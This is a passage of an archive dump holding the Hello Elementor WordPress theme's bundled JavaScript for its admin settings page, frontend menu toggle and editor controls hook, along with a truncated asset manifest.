contain an excerpt.","hello-elementor"),checked:!!t[e.DESCRIPTION_META_TAG]||!1,onChange:t=>l(e.DESCRIPTION_META_TAG,t)}),React.createElement("code",{className:"code-example"},' '),React.createElement(a.ToggleControl,{label:(0,n.__)("Disable skip link","hello-elementor"),help:(0,n.__)('Remove the "Skip to content" link used by screen-readers and users navigating with a keyboard.',"hello-elementor"),checked:!!t[e.SKIP_LINK]||!1,onChange:t=>l(e.SKIP_LINK,t)}),React.createElement("code",{className:"code-example"},' '),React.createElement(a.ToggleControl,{label:(0,n.__)("Disable page title","hello-elementor"),help:(0,n.__)("Remove the section above the content that contains the main heading of the page.","hello-elementor"),checked:!!t[e.PAGE_TITLE]||!1,onChange:t=>l(e.PAGE_TITLE,t)}),React.createElement("code",{className:"code-example"},' '),React.createElement(a.ToggleControl,{label:(0,n.__)("Unregister Hello style.css","hello-elementor"),help:(0,n.__)("Disable Hello theme's style.css file which contains CSS reset rules for unified cross-browser view.","hello-elementor"),checked:!!t[e.HELLO_STYLE]||!1,onChange:t=>l(e.HELLO_STYLE,t)}),React.createElement("code",{className:"code-example"},' '),React.createElement(a.ToggleControl,{label:(0,n.__)("Unregister Hello theme.css","hello-elementor"),help:(0,n.__)("Disable Hello theme's theme.css file which contains CSS rules that style WordPress elements.","hello-elementor"),checked:!!t[e.HELLO_THEME]||!1,onChange:t=>l(e.HELLO_THEME,t)}),React.createElement("code",{className:"code-example"},' '))}},713:(e,t,l)=>{"use strict";l.r(t)},196:e=>{"use strict";e.exports=window.React},101:e=>{"use strict";e.exports=window.wp.api},609:e=>{"use strict";e.exports=window.wp.components},818:e=>{"use strict";e.exports=window.wp.data},307:e=>{"use strict";e.exports=window.wp.element},736:e=>{"use strict";e.exports=window.wp.i18n},961:e=>{"use strict";e.exports=window.wp.notices},836:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports}},t={};function __webpack_require__(l){var n=t[l];if(void 0!==n)return n.exports;var a=t[l]={exports:{}};return e[l](a,a.exports,__webpack_require__),a.exports}__webpack_require__.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";__webpack_require__(713);var e=__webpack_require__(307),t=__webpack_require__(160);const App=()=>React.createElement(t.SettingsPage,null);document.addEventListener("DOMContentLoaded",(()=>{const t=document.getElementById("hello-elementor-settings");t&&(0,e.render)(React.createElement(App,null),t)}))})()})(); //# sourceMappingURL=hello-admin.min.js.mapassets/js/hello-admin.js000064400000033103152377523360011226 0ustar00/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "./assets/dev/js/admin/pages/settings-page.js": /*!****************************************************!*\ !*** ./assets/dev/js/admin/pages/settings-page.js ***! \****************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "./node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports.SettingsPage = void 0; var _react = __webpack_require__(/*! react */ "react"); var _notices = __webpack_require__(/*! @wordpress/notices */ "@wordpress/notices"); var _data = __webpack_require__(/*! @wordpress/data */ "@wordpress/data"); var _i18n = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n"); var _api = _interopRequireDefault(__webpack_require__(/*! @wordpress/api */ "@wordpress/api")); var _components = __webpack_require__(/*! @wordpress/components */ "@wordpress/components"); var _settingsPanel = __webpack_require__(/*! ./../panels/settings-panel.js */ "./assets/dev/js/admin/panels/settings-panel.js"); const Notices = () => { const notices = (0, _data.useSelect)(select => select(_notices.store).getNotices().filter(notice => 'snackbar' === notice.type), []); const { removeNotice } = (0, _data.useDispatch)(_notices.store); return /*#__PURE__*/React.createElement(_components.SnackbarList, { className: "edit-site-notices", notices: notices, onRemove: removeNotice }); }; const SETTINGS = { DESCRIPTION_META_TAG: '_description_meta_tag', SKIP_LINK: '_skip_link', PAGE_TITLE: '_page_title', HELLO_STYLE: '_hello_style', HELLO_THEME: '_hello_theme' }; const SettingsPage = () => { const [hasLoaded, setHasLoaded] = (0, _react.useState)(false); const [settingsData, setSettingsData] = (0, _react.useState)({}); const settingsPrefix = 'hello_elementor_settings'; /** * Update settings data. * * @param {string} settingsName * @param {string} settingsValue */ const updateSettings = (settingsName, settingsValue) => { setSettingsData({ ...settingsData, [settingsName]: settingsValue }); }; /** * Save settings to server. */ const saveSettings = () => { const data = {}; Object.values(SETTINGS).forEach(value => data[`${settingsPrefix}${value}`] = settingsData[value] ? 'true' : ''); const settings = new _api.default.models.Settings(data); settings.save(); (0, _data.dispatch)('core/notices').createNotice('success', (0, _i18n.__)('Settings Saved', 'hello-elementor'), { type: 'snackbar', isDismissible: true }); }; (0, _react.useEffect)(() => { const fetchSettings = async () => { try { await _api.default.loadPromise; const settings = new _api.default.models.Settings(); const response = await settings.fetch(); const data = {}; Object.values(SETTINGS).forEach(value => data[value] = response[`${settingsPrefix}${value}`]); setSettingsData(data); setHasLoaded(true); } catch (error) { // eslint-disable-next-line no-console console.error(error); } }; if (hasLoaded) { return; } fetchSettings(); }, [settingsData]); if (!hasLoaded) { return /*#__PURE__*/React.createElement(_components.Placeholder, null, /*#__PURE__*/React.createElement(_components.Spinner, null)); } return /*#__PURE__*/React.createElement(_react.Fragment, null, /*#__PURE__*/React.createElement("div", { className: "hello_elementor__header" }, /*#__PURE__*/React.createElement("div", { className: "hello_elementor__container" }, /*#__PURE__*/React.createElement("div", { className: "hello_elementor__title" }, /*#__PURE__*/React.createElement("h1", null, (0, _i18n.__)('Hello Theme Settings', 'hello-elementor'))))), /*#__PURE__*/React.createElement("div", { className: "hello_elementor__main" }, /*#__PURE__*/React.createElement(_components.Panel, null, /*#__PURE__*/React.createElement(_settingsPanel.SettingsPanel, { SETTINGS, settingsData, updateSettings }), /*#__PURE__*/React.createElement(_components.Button, { isPrimary: true, onClick: saveSettings }, (0, _i18n.__)('Save Settings', 'hello-elementor')))), /*#__PURE__*/React.createElement("div", { className: "hello_elementor__notices" }, /*#__PURE__*/React.createElement(Notices, null))); }; exports.SettingsPage = SettingsPage; /***/ }), /***/ "./assets/dev/js/admin/panels/settings-panel.js": /*!******************************************************!*\ !*** ./assets/dev/js/admin/panels/settings-panel.js ***! \******************************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports.SettingsPanel = void 0; var _i18n = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n"); var _components = __webpack_require__(/*! @wordpress/components */ "@wordpress/components"); const SettingsPanel = ({ SETTINGS, settingsData, updateSettings }) => { const protocol = window.location.protocol || 'https:'; const hostname = window.location.hostname || 'example.com'; const prefix = protocol + '//' + hostname; return /*#__PURE__*/React.createElement(_components.PanelBody, { title: (0, _i18n.__)('Hello Theme Settings', 'hello-elementor') }, /*#__PURE__*/React.createElement(_components.Notice, { status: "warning", isDismissible: "false" }, /*#__PURE__*/React.createElement(_components.Dashicon, { icon: "flag" }), (0, _i18n.__)('Be cautious, disabling some of the following options may break your website.', 'hello-elementor')), /*#__PURE__*/React.createElement(_components.ToggleControl, { label: (0, _i18n.__)('Disable description meta tag', 'hello-elementor'), help: (0, _i18n.__)('Remove the description meta tag in singular content pages that contain an excerpt.', 'hello-elementor'), checked: !!settingsData[SETTINGS.DESCRIPTION_META_TAG] || false, onChange: value => updateSettings(SETTINGS.DESCRIPTION_META_TAG, value) }), /*#__PURE__*/React.createElement("code", { className: "code-example" }, " "), /*#__PURE__*/React.createElement(_components.ToggleControl, { label: (0, _i18n.__)('Disable skip link', 'hello-elementor'), help: (0, _i18n.__)('Remove the "Skip to content" link used by screen-readers and users navigating with a keyboard.', 'hello-elementor'), checked: !!settingsData[SETTINGS.SKIP_LINK] || false, onChange: value => updateSettings(SETTINGS.SKIP_LINK, value) }), /*#__PURE__*/React.createElement("code", { className: "code-example" }, " Skip to content "), /*#__PURE__*/React.createElement(_components.ToggleControl, { label: (0, _i18n.__)('Disable page title', 'hello-elementor'), help: (0, _i18n.__)('Remove the section above the content that contains the main heading of the page.', 'hello-elementor'), checked: !!settingsData[SETTINGS.PAGE_TITLE] || false, onChange: value => updateSettings(SETTINGS.PAGE_TITLE, value) }), /*#__PURE__*/React.createElement("code", { className: "code-example" }, "

Post title

"), /*#__PURE__*/React.createElement(_components.ToggleControl, { label: (0, _i18n.__)('Unregister Hello style.css', 'hello-elementor'), help: (0, _i18n.__)("Disable Hello theme's style.css file which contains CSS reset rules for unified cross-browser view.", 'hello-elementor'), checked: !!settingsData[SETTINGS.HELLO_STYLE] || false, onChange: value => updateSettings(SETTINGS.HELLO_STYLE, value) }), /*#__PURE__*/React.createElement("code", { className: "code-example" }, " "), /*#__PURE__*/React.createElement(_components.ToggleControl, { label: (0, _i18n.__)('Unregister Hello theme.css', 'hello-elementor'), help: (0, _i18n.__)("Disable Hello theme's theme.css file which contains CSS rules that style WordPress elements.", 'hello-elementor'), checked: !!settingsData[SETTINGS.HELLO_THEME] || false, onChange: value => updateSettings(SETTINGS.HELLO_THEME, value) }), /*#__PURE__*/React.createElement("code", { className: "code-example" }, " ")); }; exports.SettingsPanel = SettingsPanel; /***/ }), /***/ "./assets/dev/js/admin/hello-admin.scss": /*!**********************************************!*\ !*** ./assets/dev/js/admin/hello-admin.scss ***! \**********************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); // extracted by mini-css-extract-plugin /***/ }), /***/ "react": /*!************************!*\ !*** external "React" ***! \************************/ /***/ ((module) => { "use strict"; module.exports = window["React"]; /***/ }), /***/ "@wordpress/api": /*!*****************************!*\ !*** external ["wp","api"] ***! \*****************************/ /***/ ((module) => { "use strict"; module.exports = window["wp"]["api"]; /***/ }), /***/ "@wordpress/components": /*!************************************!*\ !*** external ["wp","components"] ***! \************************************/ /***/ ((module) => { "use strict"; module.exports = window["wp"]["components"]; /***/ }), /***/ "@wordpress/data": /*!******************************!*\ !*** external ["wp","data"] ***! \******************************/ /***/ ((module) => { "use strict"; module.exports = window["wp"]["data"]; /***/ }), /***/ "@wordpress/element": /*!*********************************!*\ !*** external ["wp","element"] ***! \*********************************/ /***/ ((module) => { "use strict"; module.exports = window["wp"]["element"]; /***/ }), /***/ "@wordpress/i18n": /*!******************************!*\ !*** external ["wp","i18n"] ***! \******************************/ /***/ ((module) => { "use strict"; module.exports = window["wp"]["i18n"]; /***/ }), /***/ "@wordpress/notices": /*!*********************************!*\ !*** external ["wp","notices"] ***! \*********************************/ /***/ ((module) => { "use strict"; module.exports = window["wp"]["notices"]; /***/ }), /***/ "./node_modules/@babel/runtime/helpers/interopRequireDefault.js": /*!**********************************************************************!*\ !*** ./node_modules/@babel/runtime/helpers/interopRequireDefault.js ***! \**********************************************************************/ /***/ ((module) => { function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; } module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be in strict mode. (() => { "use strict"; /*!********************************************!*\ !*** ./assets/dev/js/admin/hello-admin.js ***! \********************************************/ __webpack_require__(/*! ./hello-admin.scss */ "./assets/dev/js/admin/hello-admin.scss"); var _element = __webpack_require__(/*! @wordpress/element */ "@wordpress/element"); var _settingsPage = __webpack_require__(/*! ./pages/settings-page.js */ "./assets/dev/js/admin/pages/settings-page.js"); const App = () => { return /*#__PURE__*/React.createElement(_settingsPage.SettingsPage, null); }; document.addEventListener('DOMContentLoaded', () => { const rootElement = document.getElementById('hello-elementor-settings'); if (rootElement) { (0, _element.render)( /*#__PURE__*/React.createElement(App, null), rootElement); } }); })(); /******/ })() ; //# sourceMappingURL=hello-admin.js.mapassets/js/hello-frontend.js000064400000005451152377523360011762 0ustar00/******/ (() => { // webpackBootstrap /******/ "use strict"; var __webpack_exports__ = {}; /*!**************************************************!*\ !*** ./assets/dev/js/frontend/hello-frontend.js ***! \**************************************************/ class elementorHelloThemeHandler { constructor() { this.initSettings(); this.initElements(); this.bindEvents(); } initSettings() { this.settings = { selectors: { header: 'header.site-header', footer: 'footer.site-footer', menuToggle: '.site-header .site-navigation-toggle', menuToggleHolder: '.site-header .site-navigation-toggle-holder', dropdownMenu: '.site-header .site-navigation-dropdown' } }; } initElements() { this.elements = { $window: jQuery(window), $document: jQuery(document), $header: jQuery(this.settings.selectors.header), $footer: jQuery(this.settings.selectors.footer), $menuToggle: jQuery(this.settings.selectors.menuToggle), $menuToggleHolder: jQuery(this.settings.selectors.menuToggleHolder), $dropdownMenu: jQuery(this.settings.selectors.dropdownMenu) }; } bindEvents() { this.elements.$menuToggle.on('click', () => this.handleMenuToggle()).on('keyup', event => { const ENTER_KEY = 13, SPACE_KEY = 32; if (ENTER_KEY === event.keyCode || SPACE_KEY === event.keyCode) { event.currentTarget.click(); } }); this.elements.$dropdownMenu.on('click', '.menu-item-has-children > a', this.handleMenuChildren); } closeMenuItems() { this.elements.$menuToggleHolder.removeClass('elementor-active'); this.elements.$window.off('resize', () => this.closeMenuItems()); } handleMenuToggle() { const isDropdownVisible = !this.elements.$menuToggleHolder.hasClass('elementor-active'); this.elements.$menuToggle.attr('aria-expanded', isDropdownVisible); this.elements.$dropdownMenu.attr('aria-hidden', !isDropdownVisible); this.elements.$menuToggleHolder.toggleClass('elementor-active', isDropdownVisible); // Always close all sub active items. this.elements.$dropdownMenu.find('.elementor-active').removeClass('elementor-active'); if (isDropdownVisible) { this.elements.$window.on('resize', () => this.closeMenuItems()); } else { this.elements.$window.off('resize', () => this.closeMenuItems()); } } handleMenuChildren(event) { const $anchor = jQuery(event.currentTarget), $parentLi = $anchor.parent('li'), isSubmenuVisible = $parentLi.hasClass('elementor-active'); if (!isSubmenuVisible) { $parentLi.addClass('elementor-active'); } else { $parentLi.removeClass('elementor-active'); } } } jQuery(() => { new elementorHelloThemeHandler(); }); /******/ })() ; //# sourceMappingURL=hello-frontend.js.mapassets/js/hello-editor.min.js000064400000013631152377523360012212 0ustar00(()=>{var e={227:(e,t,o)=>{"use strict";var l=o(836);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=l(o(416)),r=l(o(868));class _default extends $e.modules.ComponentBase{constructor(...e){super(...e),(0,s.default)(this,"pages",{})}getNamespace(){return"hello-elementor"}defaultHooks(){return this.importHooks({ControlsHook:r.default})}}t.default=_default},868:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class ControlsHook extends $e.modules.hookUI.After{getCommand(){return"document/elements/settings"}getId(){return"hello-elementor-editor-controls-handler"}getHelloThemeControls(){return{hello_header_logo_display:{selector:".site-header .site-logo, .site-header .site-title",callback:(e,t)=>{this.toggleShowHideClass(e,t.settings.hello_header_logo_display)}},hello_header_menu_display:{selector:".site-header .site-navigation, .site-header .site-navigation-toggle-holder",callback:(e,t)=>{this.toggleShowHideClass(e,t.settings.hello_header_menu_display)}},hello_header_tagline_display:{selector:".site-header .site-description",callback:(e,t)=>{this.toggleShowHideClass(e,t.settings.hello_header_tagline_display)}},hello_header_logo_type:{selector:".site-header .site-branding",callback:(e,t)=>{const o=t.container.controls.hello_header_logo_type.options,l=t.settings.hello_header_logo_type;this.toggleLayoutClass(e,"show-",o,l)}},hello_header_layout:{selector:".site-header",callback:(e,t)=>{const o=t.container.controls.hello_header_layout.options,l=t.settings.hello_header_layout;this.toggleLayoutClass(e,"header-",o,l)}},hello_header_width:{selector:".site-header",callback:(e,t)=>{const o=t.container.controls.hello_header_width.options,l=t.settings.hello_header_width;this.toggleLayoutClass(e,"header-",o,l)}},hello_header_menu_layout:{selector:".site-header",callback:(e,t)=>{const o=t.container.controls.hello_header_menu_layout.options,l=t.settings.hello_header_menu_layout;e.find(".site-navigation-toggle-holder").removeClass("elementor-active"),e.find(".site-navigation-dropdown").removeClass("show"),this.toggleLayoutClass(e,"menu-layout-",o,l)}},hello_header_menu_dropdown:{selector:".site-header",callback:(e,t)=>{const o=t.container.controls.hello_header_menu_dropdown.options,l=t.settings.hello_header_menu_dropdown;this.toggleLayoutClass(e,"menu-dropdown-",o,l)}},hello_footer_logo_display:{selector:".site-footer .site-logo, .site-footer .site-title",callback:(e,t)=>{this.toggleShowHideClass(e,t.settings.hello_footer_logo_display)}},hello_footer_tagline_display:{selector:".site-footer .site-description",callback:(e,t)=>{this.toggleShowHideClass(e,t.settings.hello_footer_tagline_display)}},hello_footer_menu_display:{selector:".site-footer .site-navigation",callback:(e,t)=>{this.toggleShowHideClass(e,t.settings.hello_footer_menu_display)}},hello_footer_copyright_display:{selector:".site-footer .copyright",callback:(e,t)=>{const o=e.closest("#site-footer"),l=t.settings.hello_footer_copyright_display;this.toggleShowHideClass(e,l),o.toggleClass("footer-has-copyright","yes"===l)}},hello_footer_logo_type:{selector:".site-footer .site-branding",callback:(e,t)=>{const o=t.container.controls.hello_footer_logo_type.options,l=t.settings.hello_footer_logo_type;this.toggleLayoutClass(e,"show-",o,l)}},hello_footer_layout:{selector:".site-footer",callback:(e,t)=>{const o=t.container.controls.hello_footer_layout.options,l=t.settings.hello_footer_layout;this.toggleLayoutClass(e,"footer-",o,l)}},hello_footer_width:{selector:".site-footer",callback:(e,t)=>{const o=t.container.controls.hello_footer_width.options,l=t.settings.hello_footer_width;this.toggleLayoutClass(e,"footer-",o,l)}},hello_footer_copyright_text:{selector:".site-footer .copyright",callback:(e,t)=>{const o=t.settings.hello_footer_copyright_text;e.find("p").text(o)}}}}toggleShowHideClass(e,t){e.removeClass("hide").removeClass("show").addClass(t?"show":"hide")}toggleLayoutClass(e,t,o,l){Object.entries(o).forEach((([o])=>{e.removeClass(t+o)})),""!==l&&e.addClass(t+l)}getConditions(e){const t="kit"===elementor.documents.getCurrent().config.type,o=Object.keys(e.settings),l=1===o.length;return!!(t&&e.settings&&l)&&!!Object.keys(this.getHelloThemeControls()).includes(o[0])}apply(e){const t=this.getHelloThemeControls()[Object.keys(e.settings)[0]],o=elementor.$previewContents.find(t.selector);t.callback(o,e)}}t.default=ControlsHook},416:(e,t,o)=>{var l=o(62);e.exports=function _defineProperty(e,t,o){return(t=l(t))in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},e.exports.__esModule=!0,e.exports.default=e.exports},836:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports},36:(e,t,o)=>{var l=o(698).default;e.exports=function _toPrimitive(e,t){if("object"!==l(e)||null===e)return e;var o=e[Symbol.toPrimitive];if(void 0!==o){var s=o.call(e,t||"default");if("object"!==l(s))return s;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)},e.exports.__esModule=!0,e.exports.default=e.exports},62:(e,t,o)=>{var l=o(698).default,s=o(36);e.exports=function _toPropertyKey(e){var t=s(e,"string");return"symbol"===l(t)?t:String(t)},e.exports.__esModule=!0,e.exports.default=e.exports},698:e=>{function _typeof(t){return e.exports=_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e.exports.__esModule=!0,e.exports.default=e.exports,_typeof(t)}e.exports=_typeof,e.exports.__esModule=!0,e.exports.default=e.exports}},t={};function __webpack_require__(o){var l=t[o];if(void 0!==l)return l.exports;var s=t[o]={exports:{}};return e[o](s,s.exports,__webpack_require__),s.exports}(()=>{"use strict";var e=__webpack_require__(836)(__webpack_require__(227));$e.components.register(new e.default)})()})(); //# sourceMappingURL=hello-editor.min.js.mapassets/js/hello-frontend.asset.php000064400000000124152377523360013243 0ustar00 array(), 'version' => '63da6b83b71bcd94feac'); assets/js/hello-editor.js000064400000037405152377523360011435 0ustar00/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "./assets/dev/js/editor/component.js": /*!*******************************************!*\ !*** ./assets/dev/js/editor/component.js ***! \*******************************************/ /***/ ((__unused_webpack_module, exports, __webpack_require__) => { "use strict"; var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "./node_modules/@babel/runtime/helpers/interopRequireDefault.js"); Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; var _defineProperty2 = _interopRequireDefault(__webpack_require__(/*! @babel/runtime/helpers/defineProperty */ "./node_modules/@babel/runtime/helpers/defineProperty.js")); var _controlsHook = _interopRequireDefault(__webpack_require__(/*! ./hooks/ui/controls-hook */ "./assets/dev/js/editor/hooks/ui/controls-hook.js")); class _default extends $e.modules.ComponentBase { constructor(...args) { super(...args); (0, _defineProperty2.default)(this, "pages", {}); } getNamespace() { return 'hello-elementor'; } defaultHooks() { return this.importHooks({ ControlsHook: _controlsHook.default }); } } exports["default"] = _default; /***/ }), /***/ "./assets/dev/js/editor/hooks/ui/controls-hook.js": /*!********************************************************!*\ !*** ./assets/dev/js/editor/hooks/ui/controls-hook.js ***! \********************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; Object.defineProperty(exports, "__esModule", ({ value: true })); exports["default"] = void 0; class ControlsHook extends $e.modules.hookUI.After { getCommand() { // Command to listen. return 'document/elements/settings'; } getId() { // Unique id for the hook. return 'hello-elementor-editor-controls-handler'; } /** * Get Hello Elementor Theme Controls * * Returns an object in which the keys are control IDs, and the values are the selectors of the elements that need * to be targeted in the apply() method. * * Example return value: * { * hello_elementor_show_logo: '.site-header .site-header-logo', * hello_elementor_show_menu: '.site-header .site-header-menu', * } */ getHelloThemeControls() { return { hello_header_logo_display: { selector: '.site-header .site-logo, .site-header .site-title', callback: ($element, args) => { this.toggleShowHideClass($element, args.settings.hello_header_logo_display); } }, hello_header_menu_display: { selector: '.site-header .site-navigation, .site-header .site-navigation-toggle-holder', callback: ($element, args) => { this.toggleShowHideClass($element, args.settings.hello_header_menu_display); } }, hello_header_tagline_display: { selector: '.site-header .site-description', callback: ($element, args) => { this.toggleShowHideClass($element, args.settings.hello_header_tagline_display); } }, hello_header_logo_type: { selector: '.site-header .site-branding', callback: ($element, args) => { const classPrefix = 'show-', inputOptions = args.container.controls.hello_header_logo_type.options, inputValue = args.settings.hello_header_logo_type; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_header_layout: { selector: '.site-header', callback: ($element, args) => { const classPrefix = 'header-', inputOptions = args.container.controls.hello_header_layout.options, inputValue = args.settings.hello_header_layout; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_header_width: { selector: '.site-header', callback: ($element, args) => { const classPrefix = 'header-', inputOptions = args.container.controls.hello_header_width.options, inputValue = args.settings.hello_header_width; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_header_menu_layout: { selector: '.site-header', callback: ($element, args) => { const classPrefix = 'menu-layout-', inputOptions = args.container.controls.hello_header_menu_layout.options, inputValue = args.settings.hello_header_menu_layout; // No matter what, close the mobile menu $element.find('.site-navigation-toggle-holder').removeClass('elementor-active'); $element.find('.site-navigation-dropdown').removeClass('show'); this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_header_menu_dropdown: { selector: '.site-header', callback: ($element, args) => { const classPrefix = 'menu-dropdown-', inputOptions = args.container.controls.hello_header_menu_dropdown.options, inputValue = args.settings.hello_header_menu_dropdown; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_footer_logo_display: { selector: '.site-footer .site-logo, .site-footer .site-title', callback: ($element, args) => { this.toggleShowHideClass($element, args.settings.hello_footer_logo_display); } }, hello_footer_tagline_display: { selector: '.site-footer .site-description', callback: ($element, args) => { this.toggleShowHideClass($element, args.settings.hello_footer_tagline_display); } }, hello_footer_menu_display: { selector: '.site-footer .site-navigation', callback: ($element, args) => { this.toggleShowHideClass($element, args.settings.hello_footer_menu_display); } }, hello_footer_copyright_display: { selector: '.site-footer .copyright', callback: ($element, args) => { const $footerContainer = $element.closest('#site-footer'), inputValue = args.settings.hello_footer_copyright_display; this.toggleShowHideClass($element, inputValue); $footerContainer.toggleClass('footer-has-copyright', 'yes' === inputValue); } }, hello_footer_logo_type: { selector: '.site-footer .site-branding', callback: ($element, args) => { const classPrefix = 'show-', inputOptions = args.container.controls.hello_footer_logo_type.options, inputValue = args.settings.hello_footer_logo_type; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_footer_layout: { selector: '.site-footer', callback: ($element, args) => { const classPrefix = 'footer-', inputOptions = args.container.controls.hello_footer_layout.options, inputValue = args.settings.hello_footer_layout; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_footer_width: { selector: '.site-footer', callback: ($element, args) => { const classPrefix = 'footer-', inputOptions = args.container.controls.hello_footer_width.options, inputValue = args.settings.hello_footer_width; this.toggleLayoutClass($element, classPrefix, inputOptions, inputValue); } }, hello_footer_copyright_text: { selector: '.site-footer .copyright', callback: ($element, args) => { const inputValue = args.settings.hello_footer_copyright_text; $element.find('p').text(inputValue); } } }; } /** * Toggle show and hide classes on containers * * This will remove the .show and .hide clases from the element, then apply the new class * * @param {jQuery} element * @param {string} inputValue */ toggleShowHideClass(element, inputValue) { element.removeClass('hide').removeClass('show').addClass(inputValue ? 'show' : 'hide'); } /** * Toggle layout classes on containers * * This will cleanly set classes onto which ever container we want to target, removing the old classes and adding the new one * * @param {jQuery} element * @param {string} classPrefix * @param {Object} inputOptions * @param {string} inputValue * */ toggleLayoutClass(element, classPrefix, inputOptions, inputValue) { // Loop through the possible classes and remove the one that's not in use Object.entries(inputOptions).forEach(([key]) => { element.removeClass(classPrefix + key); }); // Append the class which we want to use onto the element if ('' !== inputValue) { element.addClass(classPrefix + inputValue); } } /** * Set the conditions under which the hook will run. * * @param {Object} args */ getConditions(args) { const isKit = 'kit' === elementor.documents.getCurrent().config.type, changedControls = Object.keys(args.settings), isSingleSetting = 1 === changedControls.length; // If the document is not a kit, or there are no changed settings, or there is more than one single changed // setting, don't run the hook. if (!isKit || !args.settings || !isSingleSetting) { return false; } // If the changed control is in the list of theme controls, return true to run the hook. // Otherwise, return false so the hook doesn't run. return !!Object.keys(this.getHelloThemeControls()).includes(changedControls[0]); } /** * The hook logic. * * @param {Object} args */ apply(args) { const allThemeControls = this.getHelloThemeControls(), // Extract the control ID from the passed args controlId = Object.keys(args.settings)[0], controlConfig = allThemeControls[controlId], // Find the element that needs to be targeted by the control. $element = elementor.$previewContents.find(controlConfig.selector); controlConfig.callback($element, args); } } exports["default"] = ControlsHook; /***/ }), /***/ "./node_modules/@babel/runtime/helpers/defineProperty.js": /*!***************************************************************!*\ !*** ./node_modules/@babel/runtime/helpers/defineProperty.js ***! \***************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var toPropertyKey = __webpack_require__(/*! ./toPropertyKey.js */ "./node_modules/@babel/runtime/helpers/toPropertyKey.js"); function _defineProperty(obj, key, value) { key = toPropertyKey(key); if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } module.exports = _defineProperty, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "./node_modules/@babel/runtime/helpers/interopRequireDefault.js": /*!**********************************************************************!*\ !*** ./node_modules/@babel/runtime/helpers/interopRequireDefault.js ***! \**********************************************************************/ /***/ ((module) => { function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; } module.exports = _interopRequireDefault, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "./node_modules/@babel/runtime/helpers/toPrimitive.js": /*!************************************************************!*\ !*** ./node_modules/@babel/runtime/helpers/toPrimitive.js ***! \************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { var _typeof = (__webpack_require__(/*! ./typeof.js */ "./node_modules/@babel/runtime/helpers/typeof.js")["default"]); function _toPrimitive(input, hint) { if (_typeof(input) !== "object" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || "default"); if (_typeof(res) !== "object") return res; throw new TypeError("@@toPrimitive must return a primitive value."); } return (hint === "string" ? String : Number)(input); } module.exports = _toPrimitive, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "./node_modules/@babel/runtime/helpers/toPropertyKey.js": /*!**************************************************************!*\ !*** ./node_modules/@babel/runtime/helpers/toPropertyKey.js ***! 